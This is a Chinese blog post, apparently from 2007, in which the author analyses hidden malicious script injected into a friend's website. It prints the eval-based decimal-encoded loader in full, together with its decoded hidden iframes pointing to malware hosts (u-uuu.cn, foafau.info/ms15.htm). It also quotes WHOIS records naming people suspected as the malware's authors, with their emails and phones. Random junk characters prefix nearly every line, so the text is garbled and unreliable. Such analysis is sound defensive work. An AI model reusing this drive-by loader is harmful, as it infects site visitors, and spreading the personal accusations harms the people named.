首发在我的博客里面，
{K2F(kz?T n]btazM{ http://www.areway.cn/?p=175 K9Pw10g' t{/
EN)J 14\!FCe)! 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
o-t!z'\lO yDw^xGws <script>t=’60,105,102,114,97,109,101,
"?sLi 32,115,114,99,61,104,116,116,112,58,47,47,
E9[8th,t 102,114,101,101,46,117,45,117,117,117,46,99,
'?!2h' 110,47,101,114,114,111,114,46,104,116,109,
;"GI~p2~7 32,119,105,100,116,104,61,49,48,48,32,104,
4U:+iumy2 101,105,103,104,116,61,48,62,60,47,105,102,
>l5JwwG 114,97,109,101,62′;
z~a]dMs"(P t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
mH3{<^Z6 z9KsSlS ^ <script>t=’60,105,102,114,97,109,101,32,115,
dkbKnY& 114,99,61,104,116,116,112,58,47,47,102,114,
F[OBPPQ3 101,101,46,117,45,117,117,117,46,99,110,47,
i@d@~M 7/ 101,114,114,111,114,46,104,116,109,32,119,
h O:X\:G 105,100,116,104,61,49,48,48,32,104,101,105,
e 3>k" 103,104,116,61,48,62,60,47,105,102,114,97,
YuDNm}r[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ts0K"xmY\c document.write(t);</script>
RbNRBK!{ d_Vwjv&@/" <html xmlns=”
({x<!5XL http://www.w3.org/1999/xhtml }~5xlg$B<< “>
K#{E87G( <head>
]H<C Rw <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
1')/BM2 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
s/'gl <title>首页 - 爱生活家庭网
& ~[%N
O Wkv **X} 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Afa{f}st 转换字符串后的大概内容是（谁点击后果自付）：
JXnPKAN <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
c5rQkDW `o*g2fW! 查询玉米u-uuu.cn的详细信息：
|wj/lX7y Domain Name: u-uuu.cn
egi?Qg ROID: 20070901s10001s64972306-cn
G8?<(.pi@ Domain Status: ok
M>k7
'@G Registrant Organization: 王雷
i&FC-{|Z Registrant Name: 王雷
Y<.F/iaH Administrative Email:
czlovexs@126.com D2Go,1 Sponsoring Registrar: 北京万网志成科技有限公司
p:ST$ 1 K Name Server:ns.yovole.com
cw<DM%p Name Server:ns1.yovole.com
HwSPOII|8K Registration Date: 2007-09-01 17:54
n*6',BY Expiration Date: 2008-09-01 17:54
_?_Svx2 最后PING了一下地址 都没有什么….
<FK7Rz:4T jIc;jj AF 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
zF uUv_t <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
[%nG_np <script language=”javascript” src=”
z(orA} [ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Bv@m)$9\+3 >
y$V{yh[: 这个玉米应该有可能是木马作者的：
NI s4v(! foafau.info的详细信息：
@4B2O"z` Access to INFO WHOIS information is provided to assist persons in
U w`LWG3T determining the contents of a domain name registration record in the
K wQO,($,] Afilias registry database. The data in this record is provided by
)SUN +YV^ Afilias Limited for informational purposes only, and Afilias does not
Q84KU8?d guarantee its accuracy. This service is intended only for query-based
M7Hk54U +t access. You agree that you will use this data only for lawful purposes
W\<#`0tUt and that, under no circumstances will you use this data to: (a) allow,
O x$|ZEh enable, or otherwise support the transmission by e-mail, telephone, or
=3SL&
:8 facsimile of mass unsolicited, commercial advertising or solicitations
83l)o$S to entities other than the data recipient’s own existing customers; or
khv!\^&DD (b) enable high volume, automated, electronic processes that send
X-{:.9 queries or data to the systems of Registry Operator, a Registrar, or
}\ DQxHG Afilias except as reasonably necessary to register domain names or
j*:pW;)^ modify existing registrations. All rights reserved. Afilias reserves
?s"v0cg+ the right to modify these terms at any time. By submitting this query,
EShakV you agree to abide by this policy.
S s`0;D1 Domain ID:D22418703-LRMS
e<^4F%jSK Domain Name:FOAFAU.INFO
kyo ,yD Created On:20-Nov-2007 16:05:42 UTC
V!U[N.& $ Last Updated On:20-Nov-2007 16:05:44 UTC
lIFU7g Expiration Date:20-Nov-2008 16:05:42 UTC
A^p $~e\) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
<7]
z'
Status:CLIENT DELETE PROHIBITED
Ju9v n44 Status:CLIENT RENEW PROHIBITED
(kuZS4Af Status:CLIENT TRANSFER PROHIBITED
M y`%gP~%g Status:CLIENT UPDATE PROHIBITED
P/PS(` Status:TRANSFER PROHIBITED
(&nl}_`7?, Registrant ID:GODA-040110615
S~Hj.
d4/ Registrant Name:liu hong
$^0YK|F Registrant Organization:
Csc2yI%3 Registrant Street1:beijing
1aT$07G0 Registrant Street2:
d|NNIf Registrant Street3:
d<3" $%C Registrant City:beijing
z"O-d<U5 Registrant State/Province:
e#OU {2X Registrant Postal Code:100000
[1UqMkXtf Registrant Country:CN
6kuSkd$. Registrant Phone:+86.860108888777
$W PN.,7 Registrant Phone Ext.:
YWZF*,4 Registrant FAX:
hB+ t
pa Registrant FAX Ext.:
|}|;OG Registrant Email:bbbshiji@163.com
9,c>H6R7 Admin ID:GODA-240110615
HYH!; Admin Name:liu hong
? 3Fo:Z`@F Admin Organization:
N R[mzJv Admin Street1:beijing
n|*V
8VaL Admin Street2:
D JW1kR Admin Street3:
I.<#t(io Admin City:beijing
;hZ@C!S : Admin State/Province:
5nn*)vK { Admin Postal Code:100000
Bm7G U`j" Admin Country:CN
-?'CUm*Od Admin Phone:+86.860108888777
"}EbA3 Admin Phone Ext.:
r/T DU[`& Admin FAX:
WE7l [<b Admin FAX Ext.:
7@"X~C Admin Email:bbbshiji@163.com
XHg %X Billing ID:GODA-340110615
Q}T 9NzOH% Billing Name:liu hong
~EM];i Billing Organization:
e4b~s Billing Street1:beijing
Mww]l[1'EL Billing Street2:
D{l((t3 =T Billing Street3:
z, 7^dlT Billing City:beijing
m&%b;%,J Billing State/Province:
\ny FN Billing Postal Code:100000
s? E:] Billing Country:CN
X m3t
xp# Billing Phone:+86.860108888777
mC7 Y * Billing Phone Ext.:
Wd}mC <rv1 Billing FAX:
)p Lq^j Billing FAX Ext.:
>`uSNY"tO Billing Email:bbbshiji@163.com
W Q&<QVK Tech ID:GODA-140110615
$S}x'F!4_ Tech Name:liu hong
ZkJM?Fzq Tech Organization:
D.6dPzu ` Tech Street1:beijing
xVyUUzXs Tech Street2:
| <*(`\ 'w Tech Street3:
!%X`c94 Tech City:beijing
D+3Y.r 9 Tech State/Province:
aVYUk7_< Tech Postal Code:100000
,H?p9L; qp Tech Country:CN
jb2:O,+ ! Tech Phone:+86.860108888777
{\&"I|dpe Tech Phone Ext.:
#c>MUC(?s: Tech FAX:
h<.[U
$, Tech FAX Ext.:
bSghf"aN Tech Email:bbbshiji@163.com
,lJ6"J\8. Name Server:NS27.DOMAINCONTROL.COM
S8RB0^Q 7 Name Server:NS28.DOMAINCONTROL.COM
o %%fO Name Server:
h;KK6*Z*$E Name Server:
dE]"^O#Mc Name Server:
,Tl5@RN Name Server:
sriz
b Name Server:
S nu;5:R Name Server:
sJ/e=1* Name Server:
}j1Zk4}[x Name Server:
03 o3[g? Name Server:
0?xiGSZV Name Server:
Y(z N Name Server:
7]j-zv )''wu\7A)' 接着下载每个文件里面的代码：
%6'D!H?d 一步一步看..
)1 }g7: 
1}E@lOc 
A*~1 Uz\t 
lKUm_; m 
WN#lfn8 7 
#L0I+ K,K\ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
